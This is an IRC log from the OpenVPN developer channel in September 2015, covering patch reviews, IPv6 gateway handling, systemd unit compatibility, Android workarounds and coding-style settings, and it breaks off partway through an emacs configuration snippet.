ok, let's postpone the announcement for a while 08:11 <@plaisthos> cron2: at least it is the only Nexus series not getting the StageFright patch 08:13 <@plaisthos> but it is Google 08:13 <@plaisthos> so who knows 08:16 <@cron2> *grumble* 11:14 <@cron2> mattock1: seems we need to postpone to sep 21 12:18 <@mattock1> cron2: ok 12:44 -!- movrax [movrax@gateway/shell/anapnea.net/x-rblsutujxgwhtbhh] has joined #openvpn-devel 13:21 < TimSmall> Hi, is today's meeting going ahead? 13:24 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 250 seconds] 13:30 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 14:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 15:40 <@cron2> TimSmall: no, we postponed because nobody but me and mattock is there 16:42 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 16:42 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 16:42 -!- dazo_afk is now known as dazo 18:50 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] --- Day changed Tue Sep 08 2015 00:46 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:46 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:19 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:27 <@cron2> mornin' folks :-) 02:28 <@mattock1> good morning 02:39 < TimSmall> mornin 02:51 < weary> morning 03:22 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:22 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 03:22 -!- dazo_afk is now known as dazo 03:29 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 244 seconds] 03:34 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:34 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 03:34 -!- dazo_afk is now known as dazo 04:22 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 05:10 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:11 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 05:11 -!- dazo_afk is now known as dazo 08:01 -!- loganaden [~logan@ns1.qubic.net] has quit [Ping timeout: 256 seconds] 08:04 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Quit: Bye] 08:09 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 09:51 <@vpnHelper> RSS Update - tickets: #604: openvpn needs to remove registry keys upon deinstallation <https://community.openvpn.net/openvpn/ticket/604> 14:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 18:36 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 18:37 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 19:05 <@vpnHelper> RSS Update - wishlistfeed: OpenVPN Version 3.0 multicore. <http://forums.openvpn.net/topic19570.html> || Feature request: integrate WAN Optimization into OpenVPN <http://forums.openvpn.net/topic19426.html> || Bug #430 seems to start new zombie life <http://forums.openvpn.net/topic19385.html> || Windows Phone support <http://forums.openvpn.net/topic19337.html> || OpenVPN for Windows Feature Request <http://forums.openvpn.net/topi 19:50 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 246 seconds] 19:55 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 19:55 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Wed Sep 09 2015 01:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:19 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:44 -!- mator [~mator@u163.east.ru] has quit [Ping timeout: 252 seconds] 02:20 <@syzzer> dazo: interesting article. Perfect example of the mismatch between crypto researchers from academia and the 'real world'... Something that has been known by academia, but noone in the real world bothered to check before... 02:21 <@syzzer> cron2: I'll be away till sept 18th 02:23 <@syzzer> travelling around the US west coast. haven't had much hacking hours... 02:24 <@syzzer> (and usually *very* bad wifi :( ) 02:26 <@cron2> syzzer: why is wifi so bad over there? Didn't they invent the Internet? ;-) 02:27 <@cron2> syzzer: but in that case - enjoy your vacation, and recharge. We'll have quite a bit of review work for you when you're back :-) 02:31 <@syzzer> yeah, I noticed some mails. They're queued for when time and wifi permits ;) 02:32 <@syzzer> the current hotel just completely broken their wifi, so I'm hanging on to the tiny bit of signal from the neighbours :') 02:33 * cron2 was at a camping site in italy for the last 3 weeks, and they had surprisingly working wifi :-) 02:33 <@cron2> (it was too expensive for my taste, and in our mobile home, the reception wasn't good, so I got a local SIM card and used UMTS for my little bits of ssh'ing around) 06:07 < ender|> cron2: and the camp didn't try any deauth attacks to force you on their wifi? :) 07:17 <@cron2> ender: no :) 10:46 <@plaisthos> I am pretty I did not touch the port-share code 10:46 <@plaisthos> at least not too much 10:46 <@plaisthos> I may have made that code IPv6 ready by accident 10:46 <@cron2> I think you repaired it as part of the dual-stack project :) 10:46 <@cron2> since it *works* in in git master... 10:47 <@cron2> commit f1da227574c6b2e3a75a38ac6f9a196be0ad3071 10:47 <@cron2> Author: Arne Schwabe <arne@rfc2549.org> 10:47 <@cron2> Fix assert when using port-share 10:48 <@plaisthos> oh? 10:49 <@plaisthos> hm 10:49 <@plaisthos> okay I touched the code 10:49 * cron2 wonders what broke it, but is too busy elsewhere to go bisecting 10:50 <@cron2> commit f1da227574c6 is interesting :) - I wonder how you found *that* 10:56 <@cron2> mmmh, now I've stared at ps.c for a while, and have *no* idea what could cause #336... or what sort of data would be coming back from the "real" server... or how it determines that it should proxy... 10:57 <@cron2> is_openvpn_protocol() 10:57 <@cron2> ah 11:19 <@plaisthos> cron2: iirc it just crashed on start 11:19 <@plaisthos> so it was pretty easy 11:19 <@plaisthos> and I think James run into it 13:35 <@cron2> for (i = 1; i; i <<= 1) 13:35 <@cron2> this loop is ... interesting 13:42 -!- lev__ [~lev@stipakov.fi] has quit [Ping timeout: 248 seconds] 13:47 <@dazo> heh 13:48 <@dazo> a bitwise shift loop ... 13:48 <@dazo> except ... does it run more than once? 13:50 <@dazo> ahh, it does ... it loops until an overflow (or underflow?) 13:50 <@dazo> 1 13:50 <@dazo> 2 13:50 <@dazo> 4 13:50 <@dazo> 8 13:50 <@dazo> ... 13:50 <@dazo> 536870912 13:50 <@dazo> 1073741824 13:50 <@dazo> -2147483648 13:52 <@dazo> with uint8_t ... it stops at 128 ... interesting 13:52 < movrax> it runs until it shifts that 1 bit out of the scope 13:52 < movrax> :P 13:52 <@dazo> yeah 13:55 <@dazo> -2147483648 <<= 1 returns 0 with int .... int8_t -128 <<= 1 returns 0 .... uint8_t 128 <<= 1 returns 0 13:56 <@dazo> fascinating and clever snippet ... but is risky unless the data type is consistent across all architectures and compilers 13:56 <@cron2> C rules apply and make this consistent 13:56 <@cron2> bits are always only shifted out, and 0-bits shifted in 13:56 <@cron2> how often the loop runs is dependent on the word size, of course :) 13:57 <@dazo> exactly 13:57 <@cron2> but I'm more fascinated of something else I just discovered... getnameinfo() can actually return strings like "fe80::213:5fff:fe21:d500%lagg0"... and I have *no* idea where it gets the "lagg0" from 13:57 <@dazo> does the lagg0 device exist? 13:58 <@cron2> yes, the address is correct 13:58 <@cron2> it must find it in the sin6.sin6_scope_id 14:00 <@cron2> if ((IN6_IS_ADDR_LINKLOCAL(a6) || IN6_IS_ADDR_MC_LINKLOCAL(a6) || 14:00 <@cron2> IN6_IS_ADDR_MC_NODELOCAL(a6)) && bufsiz >= IF_NAMESIZE) { 14:00 <@cron2> char *p = if_indextoname(ifindex, buf); 14:00 <@cron2> brrr 14:00 <@dazo> maybe ... but I would expect the resolver do some magic kernel lookups in this case, to retrieve the device name 14:01 <@dazo> if_indextoname() ... right 14:02 <@cron2> this is weird stuff... BSD PF_ROUTE sockets return the interface index in the 3rd octet of the fe80:: address, the /bin/route code puts it from there into sin6_scope_id (and 0 into the octet), and getnameinfo() uses it to find the right interface name... 14:02 * cron2 never wanted to know 14:03 <@cron2> my code gets "fe80:c::213:5fff:fe21:d500", because it does not know that the ":c:" there is an artefact 14:03 <@dazo> heh ... oh the ifindex stuff is completely unpredictable, that's my experience after having hacked on ethtool 14:04 <@cron2> GW: fe80:c::213:5fff:fe21:d500 14:04 <@cron2> IFn(5): lagg0 (idx=12) 14:05 <@cron2> ... but at least it is consistent... 14:05 <@cron2> brrr 14:05 <@cron2> (this is on FreeBSD) 14:06 <@dazo> perhaps *bsd is more predictable ... I dunno, it's the kernel which assigns ifindex values 14:07 <@cron2> well, as long as you do not remove and re-add interfaces, ifindexes should be constant 14:07 <@dazo> that's true 14:07 <@cron2> of course you cannot rely on them being orderly, like "1, 2, 3, 4" but have to treat them as "I get a number, I use that number, and do not think about it" 14:08 <@dazo> that's what I'm talking about 14:08 <@cron2> but that's what you have with routers and their SNMP ifindexes as well... 1, 2, 3, 1000, 1001, 1002, 2000, 2001, 2002 - fairly typical 14:08 <@cron2> "board 1, port 1, 2, 3, board 2, port 1, 2,3"... 14:08 <@dazo> ahh, didn't know that 14:09 <@dazo> okay ... need to pack and head for the train ... c'ya later 14:09 <@cron2> for hardware interfaces, there is usually some sort of logic behind - and then there's logical interfaces that just get "the next free"... 14:09 <@cron2> good trip :) 14:10 -!- dazo is now known as dazo_afk 14:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 17:03 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 19:02 <@ecrist> If I didn't post it yet, Jan and I worked really hard on this: http://www.amazon.com/Mastering-OpenVPN-Eric-F-Crist-ebook/dp/B0112ES3SI 22:49 <@syzzer> ecrist: ah, the cookbook successor. very nice! --- Day changed Thu Sep 10 2015 00:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:36 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:44 <@mattock1> what if we focus our hackathon on "getting 2.4 out"? 01:44 <@mattock1> or was that the plan already 02:01 <@cron2> mattock1: my goal is to have all missing code on *my* side ready at the hackathon - and then we "only" need to review this, get it widely tested, and so on :-) 02:01 <@cron2> but there's iservice, AEAD and timeout stuff - so I'm fairly sure we won't reach 2.4_alpha in Delft, but we should at least get closer... 02:13 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 02:25 <@mattock1> if we get the code bits integrated then we're pretty close already 02:25 <@mattock1> the interactive service in particular 02:27 <@cron2> yep... working on it (the route-gateway stuff for IPv6) :) 03:49 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:49 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 03:49 -!- dazo_afk is now known as dazo 12:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 13:32 -!- dazo is now known as dazo_afk 23:20 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:20 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Fri Sep 11 2015 02:38 <@cron2> mattock1: are you awake and here? 03:36 -!- dazo_afk is now known as dazo 04:28 -!- TimSmall [~tim@ipv6test5.plus.com] has quit [Read error: Connection reset by peer] 05:20 <@cron2> mattock1: any special reason why your windows build environment sets --disable-debug? 05:20 <@cron2> reason I'm asking: this disables --show-gateway - which is functionality we *want* in the windows builds, at least in the next few years when having to debug ipv6 routing issues... 05:22 <@cron2> (I've put it on the meeting page for 21st, so this is not lost) 06:15 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 06:24 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:24 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 09:13 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 10:57 <@cron2> IT HAS BEEN DONE! 11:05 <@dazo> !? 11:06 <@dazo> ahh ... -devel ML 11:23 <@cron2> indeed :) 11:57 <@dazo> This will probably please cron2 a bit ... https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=de551f2eb22a77a498cea9686f39e79f25329109 #LinuxKernel4.3 11:57 <@vpnHelper> Title: kernel/git/torvalds/linux.git - Linux kernel source tree (at git.kernel.org) 12:29 <@cron2> dazo: wheee \o/ 12:30 <@cron2> I'm sure someone will now start complaining... 12:45 <@dazo> well, probably ... but they'll have to convince Linus he was stupid to accept that patch ;-) 12:49 -!- dazo is now known as dazo_afk 15:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] --- Day changed Sat Sep 12 2015 00:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:08 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 08:14 <@plaisthos> cron2: unfortenately my users cannot beta test this one ;) 08:15 <@plaisthos> https://github.com/schwabe/openvpn/commit/e51352365f0e399a1ff01264868cdbeb06d8e497 08:15 <@vpnHelper> Title: Use pseudo gw as default gw on Android as a workaround for not being … · schwabe/openvpn@e513523 · GitHub (at github.com) --- Day changed Sun Sep 13 2015 07:14 <@cron2> plaisthos: yeah, I'm aware of this - you lucky guys with your VPN API :-) 07:24 <@cron2> and thanks for the ACKs 08:32 <@plaisthos> cron2: I have not looked into the complexer patches in detail but gave you some feedback 08:33 <@cron2> yep, seen that and answered already :) 08:33 <@cron2> but having an ACK on the infrastructure is good - "less remaining stuff" :) 08:38 <@plaisthos> I also need to send my patches for 2.4 ... 08:38 <@cron2> yep :) 08:55 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 08:56 < eliasp> hi 09:05 < eliasp> is https://github.com/OpenVPN/ officially maintained by the OpenVPN project? it looks like it mostly serves as mirror right now, as it's not always up-to-date all the time and Pull Requests aren't handled at all… so it might make sense to make it clear, that Pull Requests won't be processed there… 09:05 < eliasp> I blindly assumed they were and filed this one half a year ago: https://github.com/OpenVPN/openvpn/pull/22 09:05 <@vpnHelper> Title: OpenVPN · GitHub (at github.com) 09:05 <@vpnHelper> Title: Improve handling of runtime directory. by eliasp · Pull Request #22 · OpenVPN/openvpn · GitHub (at github.com) 12:05 <@cron2> eliasp: it is always up-to-date, but we don't do pull requests 12:05 <@cron2> new commits get pushed to sf.net and github simultaneously 12:05 <@cron2> our "here's a patch, please review and merge if good" channel is the openvpn-devel@lists.sourceforge.net list 12:30 <@cron2> (we're just not enough active developers to monitor all possible channels, sorry for that) 14:43 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 16:20 <@plaisthos> eliasp: that is systemd stuff, try to get dazo_afk to review that, since he has knowlege with systemd 20:55 < eliasp> cron2: plaisthos: ok, thanks a lot for the information… 20:56 < eliasp> dazo_afk: so in case you get around to have a look at this: https://github.com/OpenVPN/openvpn/pull/22 20:56 <@vpnHelper> Title: Improve handling of runtime directory. by eliasp · Pull Request #22 · OpenVPN/openvpn · GitHub (at github.com) 20:57 < eliasp> …otherwise I might submit it to the devel list at some point --- Day changed Mon Sep 14 2015 00:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:19 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 00:19 <@cron2> please do, it *must* be on the devel-list to be merged 03:07 -!- reators [~holger@2001:1a80:2000:2:ad14:7c4f:5d54:cf95] has joined #openvpn-devel 04:31 -!- d12fk [~heiko@85.25.119.185] has joined #openvpn-devel 04:31 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:47 <@vpnHelper> RSS Update - wishlistfeed: Linux packet fwmarking <http://forums.openvpn.net/topic19701.html> 05:28 <@d12fk> that's what --mark does, no? 06:39 <@vpnHelper> RSS Update - gitrepo: Add route_ipv6_gateway* data structures for rgi6 support. <https://github.com/OpenVPN/openvpn/commit/c0da18cd7cca481fd918620331540e565f11ce23> || refactor struct route_ipv6_list, bring in line with struct route_list again <https://github.com/OpenVPN/openvpn/commit/0ad73859420379ec45e159e5e7bd5bb7be9382fe> || refactor struct route_ipv6, bring in line with struct route_ipv4 again <https://github.com/OpenVPN/openv 15:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] --- Day changed Tue Sep 15 2015 01:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:00 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:20 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 02:25 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 04:25 <@plaisthos> so patches are on the mailing list 04:28 <@plaisthos> (or are going to be) 04:38 <@cron2> now that was quick coding :) 04:54 <@plaisthos> cron2: until you look at the dates of the commits :) 04:54 <@cron2> plaisthos: just to confirm - this is not "8 patches forming a whole" but "8 patches that have cumulated in your tree"? 04:55 <@cron2> ok, 1-6 is android, 7 is cleanup, 8 is magic timeouts 04:58 <@cron2> the XXX is well spotted. I need to revisit this and make the comment more explicit. The coding style change is intentional, as (as far as I remember) "this is the new thing" - and if we add 2.4-only code in a totally new function, why bother with the old style if we're going to change it anyway. But I can be convinced to reformat :-) 04:59 <@plaisthos> cron2: yes 05:00 <@plaisthos> cron2: I just noticed the coding style 05:00 <@vpnHelper> RSS Update - gitrepo: Create basic infrastructure for IPv6 default gateway handling / redirection. <https://github.com/OpenVPN/openvpn/commit/d8a8656f1a8721f56a08439afe24916beadfef55> 05:01 <@cron2> 04, with openvpn.8 :) 05:10 <@plaisthos> :) 05:11 <@vpnHelper> RSS Update - gitrepo: Remove unused function h_errno_msg <https://github.com/OpenVPN/openvpn/commit/1d11134feee33689904ded0c6a0108e865d17d7e> 05:18 <@plaisthos> cron2: what is easier for you? That I resend the patch or just fix and commit? 05:19 <@cron2> "fix and commit" is about the same amount of work, it's just a bit about transparency 05:26 <@plaisthos> cron2: I don't care. What should I do, you decide :) 05:32 -!- Netsplit *.net <-> *.split quits: reators 05:33 -!- reators [~holger@2001:1a80:2000:2:816f:ee47:fc90:aa73] has joined #openvpn-devel 05:47 <@cron2> you ok the "fix and commit" on the list :) 05:49 <@cron2> (it will be a bit more painful on rebasing for you, though) 05:52 <@plaisthos> it can also send the patches 05:52 <@plaisthos> i will have the conflicts otherwise laters ;) 05:53 <@plaisthos> cron2: okay you were faster 05:54 <@plaisthos> 7/8 will need the same change (and give you a conflict anyway) 06:00 <@cron2> 7 is the h_errno_msg() patch...? 06:00 <@cron2> oh, 6, yes 06:02 <@cron2> fixed in my local copy of the patch 06:04 <@vpnHelper> RSS Update - gitrepo: Add support for requesting the fd again to rebind to the next interface. <https://github.com/OpenVPN/openvpn/commit/300039789b23216f1733890063cef3120722f4cf> 06:09 <@cron2> don't ask... 06:09 <@vpnHelper> RSS Update - gitrepo: Don't redirect the gateway on Android even if requested <https://github.com/OpenVPN/openvpn/commit/ad80d6779488e77bc81f395f61d4052184f9a589> 06:16 <@vpnHelper> RSS Update - gitrepo: Fix loglevel of protect socket message <https://github.com/OpenVPN/openvpn/commit/acd487d0f3597e67f451aa23b73ad03dc19842b0> 06:19 <@plaisthos> cron2: I have no idea about the ipv6 default rules. 06:19 <@plaisthos> That was more a question :) 06:20 <@cron2> there is technical aspects, old lore, and religion :-) 06:20 <@plaisthos> :) 06:24 <@cron2> hah, there's the ipv6 one :) 06:28 <@vpnHelper> RSS Update - gitrepo: Extend network-change command to allow reprotecting on the same network (for short connection losses) <https://github.com/OpenVPN/openvpn/commit/d967ec289df5c5196f68a3708a9f36a5ba354833> 06:29 <@cron2> so, the android stuff is in "the easy bits" :) 06:32 <@plaisthos> cron2: I tried to make the ifndef as small as possible 06:32 <@plaisthos> (to answer your email) 06:33 <@cron2> ic 06:33 <@vpnHelper> RSS Update - gitrepo: Use pseudo gw as default gw on Android as a workaround for not being able to read /proc/net/route <https://github.com/OpenVPN/openvpn/commit/429f0560e3a908ffa00f18ba1a81af03ba05751e> 06:37 <@cron2> 8/8 needs more than than "just look at the diff", though 06:37 <@plaisthos> cron2: yeah 06:38 <@plaisthos> that is the most complex of the patches 06:40 <@vpnHelper> RSS Update - gitrepo: Remove #ifdefs for client nat support. <https://github.com/OpenVPN/openvpn/commit/8db23a57c878abd5b01c784c7db570176de555ef> 06:58 <@cron2> 8/8 has "\-" to "-" changes - are these intentional or artefacts? 06:58 <@cron2> -.B link\-mtu, 06:58 <@cron2> +.B link-mtu, 07:10 <@plaisthos> artefacts 07:11 <@plaisthos> I can regenerate that if needed 07:13 <@cron2> I can just leave out that chunk 07:13 <@cron2> ah, no, it's removing http-proxy-timeout... *fix* 07:14 <@cron2> this looks like an (old) merge conflict with mattocks "introduce \-" patch 07:21 <@plaisthos> cron2: could very well be 07:40 <@d12fk> mattock: is there no source code release of the tap-windows6 project? 11:49 <@mattock1> d12fk: there is, check GitHub 11:50 <@mattock1> it's been there all along 11:51 <@mattock1> as for a source tarball... not sure, but the tap-windows6 driver changes very little, so the 9.21.1 is basically what's in Git 14:23 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 19:22 -!- luckman212_ [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 19:23 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 268 seconds] 19:23 -!- d12fk [~heiko@85.25.119.185] has quit [Ping timeout: 264 seconds] 19:23 -!- luckman212_ is now known as luckman212 19:30 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 19:30 -!- mode/#openvpn-devel [+v krzie] by ChanServ 19:33 -!- pekster_ [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 19:33 -!- mode/#openvpn-devel [+o pekster_] by ChanServ 19:34 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 19:34 -!- mode/#openvpn-devel [+o plai] by ChanServ 19:37 -!- Netsplit *.net <-> *.split quits: @pekster, +krzee, @plaisthos 19:37 -!- krzie is now known as krzee 20:38 -!- woodrow [sid13914@gateway/web/irccloud.com/x-aymasfeafsikdyak] has joined #openvpn-devel 20:45 < woodrow> assuming it’s accepted, would you expect the verify-client-cert patch to make it into a point release, or do you only include new features on more major releases (i.e. 2.4)? 20:46 < woodrow> and separately, is there anything i can do to help with moving that forward? i’m really trying to avoid running two server instances to accept both cert and password-only auth --- Day changed Wed Sep 16 2015 00:54 <@plai> woodrow: a quick look at the patch shows that it currently does not have polarSSL support 00:55 <@plai> small features that are not intrusive to the code or change behaviour also go into 2.3 00:55 <@plai> but we try to get 2.4 out of the door soon 01:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:44 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:08 <@cron2> time for syzzer to return! 03:12 < weary> hehe :) 03:20 < woodrow> plai: i haven’t tested it (and am generally not familiar with polarssl, beyond reading the API docs) but I took a crack at the patch for polarssl in case it helps 03:21 < woodrow> i should send it to the mailing list? 03:22 <@plai> woodrow: sure, syzzer will probably appriciate it 04:15 <@plai> updated http://community.openvpn.net/openvpn/wiki/Patches 04:15 <@vpnHelper> Title: Patches – OpenVPN Community (at community.openvpn.net) 05:11 -!- dazo_afk is now known as dazo 05:12 -!- d12fk [~heiko@85.25.119.185] has joined #openvpn-devel 05:12 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 05:12 <@d12fk> mattock: yeah i made me own via git archive 05:14 <@dazo> eliasp: Hey! Giving your patch a cursory look right now ... this makes a lot of sense ... have you looked into how far back %t is supported in systemd (which version did it get released in)? 06:05 <@vpnHelper> RSS Update - tickets: #605: Windows 10 DNS Leak <https://community.openvpn.net/openvpn/ticket/605> 06:23 <@vpnHelper> RSS Update - wishlistfeed: Fix Windows10 DNS Leak (trac#605) <http://forums.openvpn.net/topic19728.html> 07:49 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 07:49 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 07:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:42 <@cron2> sheesh, so many new tickets... 10:02 <@dazo> eliasp: if you can please double check the %t support, then your patch is ready to hit the mailing list for a proper review. 10:02 * cron2 is not going to object (<- jftr :) ) - this is outside the "core" code, so it's bringing benefits without code I get to maintain :-) 10:13 < eliasp> dazo: will check and let you know, thanks for the review 10:23 < eliasp> dazo: https://github.com/OpenVPN/openvpn/pull/22/files requires systemd-211 which is IMHO old enough… any distribution shipping the next OpenVPN release is very unlikely to ship something older than systemd-219 10:24 <@vpnHelper> Title: Improve handling of runtime directory. by eliasp · Pull Request #22 · OpenVPN/openvpn · GitHub (at github.com) 10:43 <@dazo> eliasp: RHEL7.1 ships 208 10:44 <@dazo> eliasp: I dunno which version Debian ships with, neither Suse ... but have enterprise distros in mind, they often have older versions with lots of backports with security and bugfixes 10:45 <@dazo> (And with RHEL, that also covers CentOS, ScientificLinux and other RHEL clones as well) 10:55 <@cron2> now the interesting question is: should we ship distro-specific bits targetting "old stuff" or "modern stuff" (whatever you call it, rc-scripts and systemd files are distro-specific in the end) 10:56 <@cron2> whatever we ship, someone will be unhappy and have to provide their own... 10:56 <@cron2> (OTOH, if the script can just check that and not use %t if not available, that would sidestep the issue :) ) 10:58 <@dazo> cron2: we already do that ... as our goal is to support RHEL5 as the oldest distro 10:58 <@dazo> which includes glibc and kernel compatibility must be covered as well as build time requirements 10:59 <@cron2> that's a different thing - openvpn core will run there, as well as build requirements. 11:00 <@cron2> but startup scripts are much more distro-specific 11:00 <@dazo> yeah, I see what you mean ... I just think it is clever to have a similar attitude to the systemd bits too, as more and more Linux distros go that way - which actually unifies Linux distros quite a lot ... and it is a far better alternative to old rc init scripts 11:01 <@cron2> sure, but what do we want to target? modern distros, or ancient stuff? I'm tending to go for "modern distros", and if someone decides to ship ancient stuff, they can get the burden to handle the support scripts (I *will* do my best to make the C bits work, though, but could care less about Linux startup scripts...) 11:02 <@cron2> or we ship two systemd scripts, "ancient" and "modern"... 11:02 <@dazo> I'd claim that RHEL7 is a modern distro ;-) But the question is, do we want both modern and bleeding edge? 11:02 <@cron2> if it ships systemd 208, that sounds somewhat ancient to me :-) 11:03 <@dazo> As I presume I'll be the maintainer for systemd stuff for quite some time, I'd like to avoid extra maintenance ... "which version supports this modification, and should it be adopted to the old ones" 11:04 <@cron2> someone will have to do it - either the RHEL "we need to make this work on the ancient stuff" guys, or the other distros "we want the new features" 11:05 <@dazo> systemd evolves incredibly quickly these days ... so, yeah 208 is old ... but it is to be around for quite some time afaik ... I'd guess that when RHEL8 comes, we will see that systemd have stabilsed a bit 11:07 <@dazo> what you suggest is actually putting some of the responsibility towards the package maintainers ... and, yeah, that is the right destination ... but too many package maintainers breaks stuff and doesn't pay attention ... this is more important to openvpn as well, as I've added quite some security features into the openvpn-*.service files ... if we need to tweak that and package maintainers don't pay attention, things may very well break 11:08 <@dazo> (I am planning to look at hardening the openvpn process even further too, including proposing some SELinux rules for contrib/, which systemd also can take advantage of) 11:10 <+krzee> cool idea 11:10 <@dazo> So my hope is that package maintainers can just pick our systemd unit files and ship them without any modification 11:47 <@cron2> dazo: so is mine, but you'll have to decide which version of systemd to target - if we're not using the new features, distro packagers will have to invent their own stuff, and vice versa 13:06 -!- novaflash is now known as novaflash_away 14:11 -!- dazo is now known as dazo_afk 14:58 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] --- Day changed Thu Sep 17 2015 00:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:22 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:14 -!- dazo_afk is now known as dazo 03:56 <@plai> cron2: for the windows patch I could do an "ACK, this looks somehow okay but I have no idea" 03:56 <@plai> So I will leave the last patch for someone else 04:09 <@cron2> plai: yeah, you've helped quite a lot already (and now I'll have to integrate all the comments :) ) 04:11 <@cron2> windows code works, but I think I'll have to work with mattock and d12fk on this to ensure it actually compiles on all the different compilation variants (mingw, cygwin, ...) 04:12 <@plai> cron2: my last patch on the mailing list builds upon your ipv6 patch set 04:44 <@cron2> plai: the #ifndef TARGET_ANDROID one? 04:46 <@plai> cron2: yes 04:46 <@plai> I can resubmitted with a comment before 04:48 <@cron2> I'm fine with it as it is (it has a small whitespace change that I intend to ignore :) ) - I just didn't ACK+merge it yet as the underlying infrastructure is not in yet 04:49 <@plai> cron2: I will still add the comment since it is nicer 04:50 <@cron2> thanks 04:50 <@plai> cron2: the whitespace change is there because my editor corrected the multiple spaces to tab+spaces 04:51 <@plai> emacs is proably the only editor can really understand GNU C style anyway 04:57 <@plai> gna, sometimes send-mail ask me for reference but this time it did not :/ 04:57 <@plai> and when I want to change the email, SF accepts it without greylisting 05:09 <@cron2> what, there was no tab? sloppy me! 05:10 <@cron2> uh, now the comment is wrong :) - not "remote_host_ipv6 always evaluate to false" but "need_remote_ipv6_route"... :) 05:11 -!- lev_ [~lev@stipakov.fi] has joined #openvpn-devel 05:11 <@plai> cron2: Emacs in whitespace mode hilights all your wrong spaces instead of tabs in bright yellow 05:11 <@plai> :) 05:13 <@dazo> I've added my own 'openvpn' style in emacs, which usually makes it do the right thing according to our new coding style 05:13 <@dazo> ;; OpenVPN new coding style (Allman/BSD based) 05:13 <@dazo> (c-add-style "openvpn" 05:13 <@dazo> '("bsd", 05:13 <@dazo> (c-tab-always-indent . nil) 05:13 <@dazo> (indent-tabs-mode nil) 05:13 <@dazo> 